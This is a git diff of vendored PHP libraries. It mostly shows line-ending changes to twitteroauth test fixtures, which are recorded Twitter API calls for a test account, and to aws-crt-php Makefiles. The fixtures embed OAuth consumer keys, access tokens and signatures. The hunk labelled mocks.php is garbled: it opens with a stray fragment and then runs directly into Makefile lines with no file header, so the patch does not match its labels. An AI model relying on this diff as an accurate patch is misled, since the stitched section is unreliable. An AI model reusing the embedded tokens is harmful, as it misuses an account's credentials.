2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206652397617152.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"AicdilxiX%2F%2FyTYLn4%2FHVYw7iuiE%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "1240", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:23 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:23 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_a6ZVfkcIDM\/aQYmimBf2fw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114334116680; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bf0b263f4d51d45af76df75606016456", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "54", + "x-transaction": "00c7bdbf003e3a48", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:32:22 +0000 2020\",\"id\":1254206652397617152,\"id_str\":\"1254206652397617152\",\"text\":\"Hello World 1587861062 https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254206535166763008,\"id_str\":\"1254206535166763008\",\"indices\":[23,46],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[7,4],\"duration_millis\":5568,\"variants\":[{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/vid\\\/314x180\\\/HtzyDH6Gqdl5UDwM.mp4?tag=1\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/pl\\\/RPouBvpOym-0X8Yr.m3u8?tag=1\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testSetOauthToken.json b/vendor/abraham/twitteroauth/tests/fixtures/testSetOauthToken.json index 1c43ece3c9..572e6b85c3 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testSetOauthToken.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testSetOauthToken.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/friendships\/show.json?target_screen_name=twitterapi", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"TzPCDLbvxIAlxBqg5Fpf4JZpFJo%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "246", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:09 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:09 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_1Yr9ogG1fxy1wdDOY63jAw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786106956820884; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "e8b1e309982b5c1d1adedc814fa2e6c3", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "180", - "x-rate-limit-remaining": "178", - "x-rate-limit-reset": "1587861610", - "x-response-time": "20", - "x-transaction": "0075ffd2008ff583", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"relationship\":{\"source\":{\"id\":93915746,\"id_str\":\"93915746\",\"screen_name\":\"oauthlibtest\",\"following\":false,\"followed_by\":false,\"live_following\":false,\"following_received\":false,\"following_requested\":false,\"notifications_enabled\":false,\"can_dm\":false,\"blocking\":false,\"blocked_by\":false,\"muting\":false,\"want_retweets\":false,\"all_replies\":false,\"marked_spam\":false},\"target\":{\"id\":6253282,\"id_str\":\"6253282\",\"screen_name\":\"TwitterAPI\",\"following\":false,\"followed_by\":false,\"following_received\":false,\"following_requested\":false}}}" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/friendships\/show.json?target_screen_name=twitterapi", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"TzPCDLbvxIAlxBqg5Fpf4JZpFJo%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "246", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:09 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:09 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_1Yr9ogG1fxy1wdDOY63jAw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786106956820884; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "e8b1e309982b5c1d1adedc814fa2e6c3", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "180", + "x-rate-limit-remaining": "178", + "x-rate-limit-reset": "1587861610", + "x-response-time": "20", + "x-transaction": "0075ffd2008ff583", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"relationship\":{\"source\":{\"id\":93915746,\"id_str\":\"93915746\",\"screen_name\":\"oauthlibtest\",\"following\":false,\"followed_by\":false,\"live_following\":false,\"following_received\":false,\"following_requested\":false,\"notifications_enabled\":false,\"can_dm\":false,\"blocking\":false,\"blocked_by\":false,\"muting\":false,\"want_retweets\":false,\"all_replies\":false,\"marked_spam\":false},\"target\":{\"id\":6253282,\"id_str\":\"6253282\",\"screen_name\":\"TwitterAPI\",\"following\":false,\"followed_by\":false,\"following_received\":false,\"following_requested\":false}}}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testSetProxy.json b/vendor/abraham/twitteroauth/tests/fixtures/testSetProxy.json index 17fd659f0b..6a5c021e4f 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testSetProxy.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testSetProxy.json @@ -1,20 +1,20 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/account\/verify_credentials.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ZN1bM0df5EPRy1d7oYcoZfj3Mpw%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "1.1", - "code": "200", - "message": "OK" - }, - "body": "HTTP\/2 200 \r\ncache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0\r\ncontent-disposition: attachment; filename=json.json\r\ncontent-encoding: gzip\r\ncontent-length: 778\r\ncontent-type: application\/json;charset=utf-8\r\ndate: Sun, 26 Apr 2020 00:31:49 GMT\r\nexpires: Tue, 31 Mar 1981 05:00:00 GMT\r\nlast-modified: Sun, 26 Apr 2020 00:31:49 GMT\r\npragma: no-cache\r\nserver: tsa_a\r\nset-cookie: personalization_id=\"v1_hI7rl+lJjoy5n7HgyNo9LQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None\r\nset-cookie: lang=en; Path=\/\r\nset-cookie: guest_id=v1%3A158786110929931313; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None\r\nstatus: 200 OK\r\nstrict-transport-security: max-age=631138519\r\nx-access-level: read-write-directmessages\r\nx-connection-hash: 18e8b1b5df2ee964aebf8f85055ada9c\r\nx-content-type-options: nosniff\r\nx-frame-options: SAMEORIGIN\r\nx-rate-limit-limit: 75\r\nx-rate-limit-remaining: 72\r\nx-rate-limit-reset: 1587861178\r\nx-response-time: 34\r\nx-transaction: 00716cfd00f6fd8d\r\nx-twitter-response-tags: BouncerExempt\r\nx-twitter-response-tags: BouncerCompliant\r\nx-xss-protection: 0\r\n\r\n{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":1,\"lang\":null,\"status\":{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":74,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\",\"suspended\":false,\"needs_phone_verification\":false}" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/account\/verify_credentials.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ZN1bM0df5EPRy1d7oYcoZfj3Mpw%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "1.1", + "code": "200", + "message": "OK" + }, + "body": "HTTP\/2 200 \r\ncache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0\r\ncontent-disposition: attachment; filename=json.json\r\ncontent-encoding: gzip\r\ncontent-length: 778\r\ncontent-type: application\/json;charset=utf-8\r\ndate: Sun, 26 Apr 2020 00:31:49 GMT\r\nexpires: Tue, 31 Mar 1981 05:00:00 GMT\r\nlast-modified: Sun, 26 Apr 2020 00:31:49 GMT\r\npragma: no-cache\r\nserver: tsa_a\r\nset-cookie: personalization_id=\"v1_hI7rl+lJjoy5n7HgyNo9LQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None\r\nset-cookie: lang=en; Path=\/\r\nset-cookie: guest_id=v1%3A158786110929931313; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None\r\nstatus: 200 OK\r\nstrict-transport-security: max-age=631138519\r\nx-access-level: read-write-directmessages\r\nx-connection-hash: 18e8b1b5df2ee964aebf8f85055ada9c\r\nx-content-type-options: nosniff\r\nx-frame-options: SAMEORIGIN\r\nx-rate-limit-limit: 75\r\nx-rate-limit-remaining: 72\r\nx-rate-limit-reset: 1587861178\r\nx-response-time: 34\r\nx-transaction: 00716cfd00f6fd8d\r\nx-twitter-response-tags: BouncerExempt\r\nx-twitter-response-tags: BouncerCompliant\r\nx-xss-protection: 0\r\n\r\n{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":1,\"lang\":null,\"status\":{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":74,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\",\"suspended\":false,\"needs_phone_verification\":false}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/mocks.php b/vendor/abraham/twitteroauth/tests/mocks.php index 8a3e4c1539..b312731389 100644 --- a/vendor/abraham/twitteroauth/tests/mocks.php +++ b/vendor/abraham/twitteroauth/tests/mocks.php @@ -1,21 +1,21 @@ -= 7.1) - -CMAKE = cmake3 -ifeq (, $(shell which cmake3)) - CMAKE = cmake -endif - -# default to using system OpenSSL, if disabled aws-lc will be used -USE_OPENSSL ?= ON -ifneq (OFF,$(USE_OPENSSL)) - CMAKE_USE_OPENSSL=-DUSE_OPENSSL=ON - # if a path was provided, add it to CMAKE_PREFIX_PATH - ifneq (ON,$(USE_OPENSSL)) - CMAKE_PREFIX_PATH=-DCMAKE_PREFIX_PATH=$(USE_OPENSSL) - endif -endif - -CMAKE_CONFIGURE = $(CMAKE) \ - -DCMAKE_INSTALL_PREFIX=$(INT_DIR) \ - -DBUILD_TESTING=OFF \ - -DCMAKE_BUILD_TYPE=$(CMAKE_BUILD_TYPE) \ - $(CMAKE_USE_OPENSSL) \ - $(CMAKE_PREFIX_PATH) -CMAKE_BUILD = CMAKE_BUILD_PARALLEL_LEVEL='' $(CMAKE) --build -CMAKE_BUILD_TYPE ?= RelWithDebInfo -CMAKE_TARGET = --config $(CMAKE_BUILD_TYPE) --target install - -all: extension -.PHONY: all extension - -# configure for static aws-crt-ffi.a -build/aws-crt-ffi-static/CMakeCache.txt: - $(CMAKE_CONFIGURE) -Hcrt/aws-crt-ffi -Bbuild/aws-crt-ffi-static -DBUILD_SHARED_LIBS=OFF - -# build static libaws-crt-ffi.a -build/aws-crt-ffi-static/libaws-crt-ffi.a: build/aws-crt-ffi-static/CMakeCache.txt - $(CMAKE_BUILD) build/aws-crt-ffi-static $(CMAKE_TARGET) - -# PHP extension target -extension: ext/awscrt.lo - -# Force the crt object target to depend on the CRT static library -ext/awscrt.lo: ext/awscrt.c - -ext/awscrt.c: build/aws-crt-ffi-static/libaws-crt-ffi.a ext/api.h ext/awscrt_arginfo.h - -ext/awscrt_arginfo.h: ext/awscrt.stub.php gen_stub.php -ifeq ($(GENERATE_STUBS),1) - # generate awscrt_arginfo.h - php gen_stub.php --minimal-arginfo ext/awscrt.stub.php -endif - -# transform/install api.h from FFI lib -src/api.h: crt/aws-crt-ffi/src/api.h - php gen_api.php crt/aws-crt-ffi/src/api.h > src/api.h - -# install api.h to ext/ as well -ext/api.h : src/api.h - cp -v src/api.h ext/api.h - -ext/php_aws_crt.h: ext/awscrt_arginfo.h ext/api.h - -vendor/bin/phpunit: - composer update - -test-extension: vendor/bin/phpunit extension - composer run test-extension - -# Use PHPUnit to run tests -test: test-extension + +INT_DIR=build/install +GENERATE_STUBS=$(shell expr `php --version | head -1 | cut -f 2 -d' '` \>= 7.1) + +CMAKE = cmake3 +ifeq (, $(shell which cmake3)) + CMAKE = cmake +endif + +# default to using system OpenSSL, if disabled aws-lc will be used +USE_OPENSSL ?= ON +ifneq (OFF,$(USE_OPENSSL)) + CMAKE_USE_OPENSSL=-DUSE_OPENSSL=ON + # if a path was provided, add it to CMAKE_PREFIX_PATH + ifneq (ON,$(USE_OPENSSL)) + CMAKE_PREFIX_PATH=-DCMAKE_PREFIX_PATH=$(USE_OPENSSL) + endif +endif + +CMAKE_CONFIGURE = $(CMAKE) \ + -DCMAKE_INSTALL_PREFIX=$(INT_DIR) \ + -DBUILD_TESTING=OFF \ + -DCMAKE_BUILD_TYPE=$(CMAKE_BUILD_TYPE) \ + $(CMAKE_USE_OPENSSL) \ + $(CMAKE_PREFIX_PATH) +CMAKE_BUILD = CMAKE_BUILD_PARALLEL_LEVEL='' $(CMAKE) --build +CMAKE_BUILD_TYPE ?= RelWithDebInfo +CMAKE_TARGET = --config $(CMAKE_BUILD_TYPE) --target install + +all: extension +.PHONY: all extension + +# configure for static aws-crt-ffi.a +build/aws-crt-ffi-static/CMakeCache.txt: + $(CMAKE_CONFIGURE) -Hcrt/aws-crt-ffi -Bbuild/aws-crt-ffi-static -DBUILD_SHARED_LIBS=OFF + +# build static libaws-crt-ffi.a +build/aws-crt-ffi-static/libaws-crt-ffi.a: build/aws-crt-ffi-static/CMakeCache.txt + $(CMAKE_BUILD) build/aws-crt-ffi-static $(CMAKE_TARGET) + +# PHP extension target +extension: ext/awscrt.lo + +# Force the crt object target to depend on the CRT static library +ext/awscrt.lo: ext/awscrt.c + +ext/awscrt.c: build/aws-crt-ffi-static/libaws-crt-ffi.a ext/api.h ext/awscrt_arginfo.h + +ext/awscrt_arginfo.h: ext/awscrt.stub.php gen_stub.php +ifeq ($(GENERATE_STUBS),1) + # generate awscrt_arginfo.h + php gen_stub.php --minimal-arginfo ext/awscrt.stub.php +endif + +# transform/install api.h from FFI lib +src/api.h: crt/aws-crt-ffi/src/api.h + php gen_api.php crt/aws-crt-ffi/src/api.h > src/api.h + +# install api.h to ext/ as well +ext/api.h : src/api.h + cp -v src/api.h ext/api.h + +ext/php_aws_crt.h: ext/awscrt_arginfo.h ext/api.h + +vendor/bin/phpunit: + composer update + +test-extension: vendor/bin/phpunit extension + composer run test-extension + +# Use PHPUnit to run tests +test: test-extension diff --git a/vendor/aws/aws-crt-php/Makefile.frag.w32 b/vendor/aws/aws-crt-php/Makefile.frag.w32 index 1980adad70..548ea4dc2c 100644 --- a/vendor/aws/aws-crt-php/Makefile.frag.w32 +++ b/vendor/aws/aws-crt-php/Makefile.frag.w32 @@ -1,35 +1,35 @@ - -CMAKE=cmake.exe -COMPOSER_PHAR=C:\ProgramData\ComposerSetup\bin\composer.phar -PHP_BINARY=$(PHP_PREFIX)\php.exe - -CMAKE_CONFIGURE = $(CMAKE) -DCMAKE_INSTALL_PREFIX=$(AWSCRT_DIR)\build\install -DCMAKE_PREFIX_PATH=$(AWSCRT_DIR)\build\install -DBUILD_TESTING=OFF -DCMAKE_BUILD_TYPE=$(CMAKE_BUILD_TYPE) -CMAKE_BUILD = $(CMAKE) --build -CMAKE_BUILD_TYPE = Release -CMAKE_TARGET = --config $(CMAKE_BUILD_TYPE) --target install - -# configure for static aws-crt-ffi.lib -$(AWSCRT_DIR)\build\CMakeCache.txt: - $(CMAKE_CONFIGURE) -H$(AWSCRT_DIR)\crt\aws-crt-ffi -B$(AWSCRT_DIR)\build -DBUILD_SHARED_LIBS=OFF - -# build static libaws-crt-ffi.lib 